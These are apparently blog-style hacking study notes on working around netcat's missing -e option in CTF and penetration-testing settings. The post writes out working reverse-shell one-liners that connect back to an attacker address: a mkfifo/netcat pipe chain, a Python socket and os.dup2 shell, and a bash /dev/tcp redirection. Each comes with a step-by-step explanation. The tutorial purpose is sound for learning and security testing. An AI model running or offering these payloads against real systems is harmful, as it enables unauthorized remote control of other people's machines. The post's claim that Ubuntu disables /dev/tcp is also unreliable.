Hacking Study Notes — Netcat Usage (Advanced)

In the basics edition, we covered how to use netcat’s basic reverse shell and bind shell.

However, in real-world environments (CTF, penetration testing), the commands learned in the basics edition often do not work as-is.

That is why today’s post will cover common problems encountered when using netcat and how to solve them.

《 Problem Situation 1 》When the -e option does not work

Since the basics edition only briefly mentioned it without a proper explanation, let me first explain what -e is.

-e basically executes a specific program and redirects that program’s input and output to the network connection.

In simple terms, you can look at the code we used earlier as an example.

nc 192.168.1.50 4444 -e /bin/bash

In this code, -e was used to redirect bash’s input and output, which allowed us to use the shell.

However, in real-world scenarios, an error like “ nc: invalid option — ‘e’ “ can occur.

The reason is that the -e option itself allowed anyone to easily access the shell and take full control of the system.

This could ultimately lead to an increased risk of backdoor abuse, which is why cases like OpenBSD netcat have blocked the use of -e in this way.

Since most Linux distributions are blocked in this way, I will now explain how to connect using alternative methods.

《 Solution 1–1 》Using a named pipe

A Named Pipe (FIFO) looks like a file but is actually a channel for passing data between processes.

A regular file stores data on disk, but a Named Pipe does not store it and simply passes it through.

In other words, think of it as creating a data channel. Below is an actual usage example.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.10.10 4444 > /tmp/f

First, since a pipe cannot be created if a file already exists, the existing file is deleted with rm /tmp/f and a new pipe is created with mkfifo /tmp/f.

The key part here is what comes after. cat /tmp/f reads data from the pipe and sends it to /bin/sh -i.

In other words, /bin/sh -i can be thought of as the part that interprets the received data, actually executes it, and outputs the result.

Next, when the shell executes a command, the result is sent to nc 10.10.10.10 4444.

And the new command received by netcat is written back to the pipe with > /tmp/f.

Ultimately, through these commands, this circular structure is created, making it possible to connect bash as a substitute for -e.

(Attacker input → pipe → shell execution → netcat transmission → pipe → repeat)

Note that 2>&1 is a command that also sends error messages along for debugging purposes.

《 Solution 1–2 》Using Python

If Python is installed on the system, this method is recommended.

Because Python’s socket and os modules directly control low-level system calls, it is much cleaner than chaining multiple processes together with pipes like Named Pipe.

In particular, os.dup2() precisely swaps file descriptors, so there is no risk of the pipe getting blocked in the middle or the entire connection dropping because one process dies.

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.10.10”,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([“/bin/sh”,”-i”])’

First, a network connection to the attacker’s server is created.

Since Linux manages input and output using numbers, when a program starts, 0 is automatically set to keyboard, 1 to screen, and 2 to error output.

Here, os.dup2() swaps the numbers mentioned above. Simply put, os.dup2(s.fileno(), 0) means “change number 0 to the network.”

Now when the program tries to receive input from the keyboard, because the numbers were swapped earlier, it actually receives it from the network.

(Changing 1 and 2 to the network as well means output goes to the network.)

In this state, /bin/sh is executed. The shell reads commands from 0 and writes results to 1 as usual. But since 0 and 1 are now the network, it receives commands sent by the attacker, executes them, and sends the results back to the attacker.

So the shell doesn’t know it’s connected to a network and just operates as normal, but it provides bash connectivity just like -e.

《 Solution 1–3 》Using Bash Redirection

If the target’s Bash supports /dev/tcp, this is the simplest method to use.

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Before explaining the command in detail, let me explain why /dev/ is used.

/dev/ itself is a directory containing device files. Here, Linux treats hardware like keyboards and screens as files, similar to how it handles hard disks (/dev/sda). We will take advantage of this characteristic and use /dev/ as a network directory.

First, bash -i starts an interactive shell.

Next, the >& /dev/tcp/10.10.10.10/4444 part sends both output and errors to the TCP connection. Here, /dev/tcp/IP/PORT is a special Bash feature that is not an actual file but automatically creates a TCP connection to the given IP and port.

0>&1 connects input to the same place as output. Since output is already directed to the TCP connection, input is also received from the same TCP connection.

As a result, all of Bash’s input and output is redirected to the network.

However, this method only works when Bash supports /dev/tcp. On some distributions like Ubuntu, this feature is disabled for security reasons.

That wraps up today’s look at netcat’s basic usage and how to handle situations where the -e option is unavailable.